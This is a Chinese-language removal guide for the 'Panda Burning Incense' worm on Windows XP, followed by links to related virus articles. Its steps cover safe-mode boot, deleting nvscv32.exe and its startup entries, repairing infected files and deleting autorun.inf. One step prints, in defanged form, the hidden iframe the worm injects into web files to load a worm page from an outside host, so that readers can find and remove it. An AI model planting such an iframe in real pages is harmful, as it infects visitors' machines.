一、PConline提供的解决方案
1.拔网线;
2.重新进入WinXP安全模式,熊猫烧香病毒进程没有加载,可使用“任务管理器”!(提示:开机后按住F8)
3.删除病毒文件:%SystemRoot%\system32\drivers\nvscv32.exe。
4.开始菜单=>运行,运行msconfig命令。在“系统配置实用程序”中,取消与nvscv32.exe相关的进程。也可使用超级兔子魔法设置、HijackThis等,删除nvscv32.exe的注册表启动项。
取消熊猫烧香病毒进程的启动
5.下载并使用江民专杀工具,修复被感染的exe文件。并及时打上Windows补丁。
6.清除html/asp/php等,所有网页文件中如下代码:(为防止传播代码有三处修改,请将“。”换为“.”)
<iframe src=http://www。krvkr。com/worm。htm width=”0” height=”0”></iframe>
批量清除恶意代码的方法:
- 可使用Dreamweaver的批量替换。
Dreamweaver批理替换的使用方法
- 可下载使用BatchTextReplacer批量替换。
- 部署了Symantec AntiVirus的企业,升级到最新病毒库扫描全盘文件,即可清除被添加的恶意代码和清除病毒文件。
7.用安装杀毒软件,并升级病毒库,扫描整个硬盘,清除其他病毒文件。推荐PConline多次推荐的“免费卡巴斯基”——Active Virus Sheild。(xxxxxxxxxxxxx)(注:步骤7不能与步骤5调换,以免可修复的带毒文件被删除!)
8.删除每个盘根目录下的autorun.inf文件,利用搜索功能,将Desktop_.ini全部删除。
巧巧读书:http://www.qqread.com/virus/a294356.html
更多内容请看QQ病毒、手机病毒揭密、病毒专栏专题,或进入讨论组讨论。
相关专题
- QQ病毒 (5102篇文章)
- 手机病毒揭密 (3662篇文章)
- 病毒专栏 (2596篇文章)
- 警惕“熊猫烧香”疯狂蔓延:熊猫烧 (182篇文章)
- 安全频道 (11340篇文章)
- 熊猫 (182篇文章)
- 熊猫烧香新闻报道 (104篇文章)
- 熊猫烧香查杀方法 (31篇文章)
- 熊猫烧香相关文章 (55篇文章)
- 病毒/木马/恶意软件 (3409篇文章)
- Trojan-Dropper.Win32.Agent.bgc分析清除 (1次浏览)
- 木马Backdoor.Win32.VanBot.dd分析与清除 (0次浏览)
- 耍你没商量,病毒也骗人 (0次浏览)
- 病毒预警: AUTO病毒成新年第一大毒枭 (0次浏览)
- wuauclt.exe病毒解决方案 (0次浏览)
- QQ盗号木马用文本图标迷惑用户 (0次浏览)
- 木马Backdoor.Win32.VanBot.az分析与清除 (0次浏览)
- “灰鸽子变种ZYV”远程监听控制受害电脑 (0次浏览)
- 恶意广告飘游戏公告 警惕系统已遭感染 (0次浏览)
- 警惕“黑客遥控器9728”遥控你的电脑 (0次浏览)





